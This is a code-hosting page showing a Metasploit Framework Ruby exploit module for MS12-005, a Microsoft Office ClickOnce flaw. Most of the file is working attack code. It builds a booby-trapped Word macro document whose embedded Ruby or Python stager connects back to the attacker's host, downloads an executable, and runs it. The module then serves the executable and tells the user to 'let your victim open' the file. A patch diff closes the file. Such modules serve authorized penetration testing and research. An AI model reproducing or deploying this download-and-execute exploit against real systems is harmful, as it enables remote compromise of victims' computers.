PageRenderTime 40ms CodeModel.GetById 8ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/exploits/windows/fileformat/ms12_005.rb

https://bitbucket.org/technopunk2099/metasploit-framework
Ruby | 250 lines | 177 code | 34 blank | 39 comment | 7 complexity | 0ac3a96b96999d259534648b0e949df1 MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, LGPL-2.1, GPL-2.0, MIT
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # Framework web site for more information on licensing and terms of use.
  5. # http://metasploit.com/framework/
  6. ##
  7. require 'msf/core'
  8. require 'rex/zip'
  9. class Metasploit3 < Msf::Exploit::Remote
  10. Rank = ExcellentRanking
  11. include Msf::Exploit::FILEFORMAT
  12. include Msf::Exploit::EXE
  13. include Msf::Exploit::Remote::TcpServer
  14. def initialize(info={})
  15. super(update_info(info,
  16. 'Name' => "MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability",
  17. 'Description' => %q{
  18. This module exploits a vulnerability found in Microsoft Office's ClickOnce
  19. feature. When handling a Macro document, the application fails to recognize
  20. certain file extensions as dangerous executables, which can be used to bypass
  21. the warning message. This can allow attackers to trick victims into opening the
  22. malicious document, which will load up either a python or ruby payload, and
  23. finally, download and execute an executable.
  24. },
  25. 'License' => MSF_LICENSE,
  26. 'Author' =>
  27. [
  28. 'Yorick Koster', #Vuln discovery
  29. 'sinn3r' #Metasploit
  30. ],
  31. 'References' =>
  32. [
  33. ['CVE', '2012-0013'],
  34. ['OSVDB', '78207'],
  35. ['MSB', 'MS12-005'],
  36. ['BID', '51284'],
  37. ['URL', 'http://support.microsoft.com/default.aspx?scid=kb;EN-US;2584146'],
  38. ['URL', 'http://exploitshop.wordpress.com/2012/01/14/ms12-005-embedded-object-package-allow-arbitrary-code-execution/']
  39. ],
  40. 'Payload' =>
  41. {
  42. 'BadChars' => "\x00"
  43. },
  44. 'DefaultOptions' =>
  45. {
  46. 'ExitFunction' => "none",
  47. 'DisablePayloadHandler' => 'false'
  48. },
  49. 'Platform' => 'win',
  50. 'Targets' =>
  51. [
  52. ['Microsoft Office Word 2007/2010 on Windows 7', {}],
  53. ],
  54. 'Privileged' => false,
  55. 'DisclosureDate' => "Jan 10 2012",
  56. 'DefaultTarget' => 0))
  57. register_options(
  58. [
  59. OptEnum.new('INIT_PAYLOAD', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]),
  60. OptString.new("BODY", [false, 'The message for the document body', '']),
  61. OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
  62. ], self.class)
  63. end
  64. #
  65. # Return the first-stage payload that will download our malicious executable.
  66. #
  67. def get_download_exec_payload(type, lhost, lport)
  68. payload_name = Rex::Text.rand_text_alpha(7)
  69. # Padd up 6 null bytes so the first few characters won't get cut off
  70. p = "\x00"*6
  71. case type
  72. when :rb
  73. p << %Q|
  74. require 'socket'
  75. require 'tempfile'
  76. begin
  77. cli = TCPSocket.open("#{lhost}",#{lport})
  78. buf = ''
  79. while l = cli.gets
  80. buf << l
  81. end
  82. cli.close
  83. tmp = Tempfile.new(['#{payload_name}','.exe'])
  84. t = tmp.path
  85. tmp.binmode
  86. tmp.write(buf)
  87. tmp.close
  88. exec(t)
  89. rescue
  90. end#|
  91. when :py
  92. p << %Q|
  93. import socket
  94. import tempfile
  95. import os
  96. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  97. s.connect(("#{lhost}", #{lport}))
  98. buf = ""
  99. while True:
  100. data = s.recv(1024)
  101. if data:
  102. buf += data
  103. else:
  104. break
  105. s.close
  106. temp = tempfile.gettempdir() + "\\\\\\" + "#{payload_name}.exe"
  107. f = open(temp, "wb")
  108. f.write(buf)
  109. f.close
  110. f = None
  111. os.system(temp)
  112. #|
  113. end
  114. p = p.gsub(/^\t\t\t/, '')
  115. return p
  116. end
  117. #
  118. # Reads a file that'll be packaged.
  119. # This will patch certain files on the fly, or return the original content of the file.
  120. #
  121. def on_file_read(fname, file)
  122. f = open(file, 'rb')
  123. buf = f.read
  124. f.close
  125. # Modify certain files on the fly
  126. case file
  127. when /oleObject1\.bin/
  128. # Patch the OLE object file with our payload
  129. print_status("Patching OLE object")
  130. ptype = datastore['INIT_PAYLOAD'] == 'PYTHON' ? :py : :rb
  131. p = get_download_exec_payload(ptype, @ip, @port)
  132. buf = buf.gsub(/MYPAYLOAD/, p)
  133. # Patch username
  134. username = Rex::Text.rand_text_alpha(5)
  135. buf = buf.gsub(/METASPLOIT/, username)
  136. buf = buf.gsub(/#{Rex::Text.to_unicode("METASPLOIT")}/, Rex::Text.to_unicode(username))
  137. # Patch the filename
  138. f = Rex::Text.rand_text_alpha(6)
  139. buf = buf.gsub(/MYFILENAME/, f)
  140. buf = buf.gsub(/#{Rex::Text.to_unicode("MYFILENAME")}/, Rex::Text.to_unicode(f))
  141. # Patch the extension name
  142. ext = ptype.to_s
  143. buf = buf.gsub(/MYEXT/, ext)
  144. buf = buf.gsub(/#{Rex::Text.to_unicode("MYEXT")}/, Rex::Text.to_unicode(ext))
  145. when /document\.xml/
  146. print_status("Patching document body")
  147. # Patch the docx body
  148. buf = buf.gsub(/W00TW00T/, datastore['BODY'])
  149. end
  150. # The original filename of __rels is actually ".rels".
  151. # But for some reason if that's our original filename, it won't be included
  152. # in the archive. So this hacks around that.
  153. case fname
  154. when /__rels/
  155. fname = fname.gsub(/\_\_rels/, '.rels')
  156. end
  157. yield fname, buf
  158. end
  159. #
  160. # Packages the Office Macro Document
  161. #
  162. def package_docm_rex(path)
  163. zip = Rex::Zip::Archive.new
  164. Dir["#{path}/**/**"].each do |file|
  165. p = file.sub(path+'/','')
  166. if File.directory?(file)
  167. print_status("Packaging directory: #{file}")
  168. zip.add_file(p)
  169. else
  170. on_file_read(p, file) do |fname, buf|
  171. print_status("Packaging file: #{fname}")
  172. zip.add_file(fname, buf)
  173. end
  174. end
  175. end
  176. zip.pack
  177. end
  178. #
  179. # Return the malicious executable
  180. #
  181. def on_client_connect(cli)
  182. print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@exe.length.to_s} bytes)")
  183. cli.put(@exe)
  184. service.close_client(cli)
  185. end
  186. def exploit
  187. @ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
  188. @port = datastore['SRVPORT']
  189. print_status("Generating our docm file...")
  190. path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2012-0013')
  191. docm = package_docm_rex(path)
  192. file_create(docm)
  193. print_good("Let your victim open #{datastore['FILENAME']}")
  194. print_status("Generating our malicious executable...")
  195. @exe = generate_payload_exe
  196. print_status("Ready to deliver your payload on #{@ip}:#{@port.to_s}")
  197. super
  198. end
  199. end
  200. =begin
  201. mbp:win7_diff sinn3r$ diff patch/GetCurrentIcon.c vuln/GetCurrentIcon.c
  202. 1c1
  203. < void *__thiscall CPackage::_GetCurrentIcon(void *this, int a2)
  204. ---
  205. > const WCHAR *__thiscall CPackage::_GetCurrentIcon(void *this, int a2)
  206. ...
  207. 24c24
  208. < if ( AssocIsDangerous(result) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) )
  209. ---
  210. > if ( IsProgIDInList(0, result, extList, 0x11u) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) )
  211. 31c31
  212. =end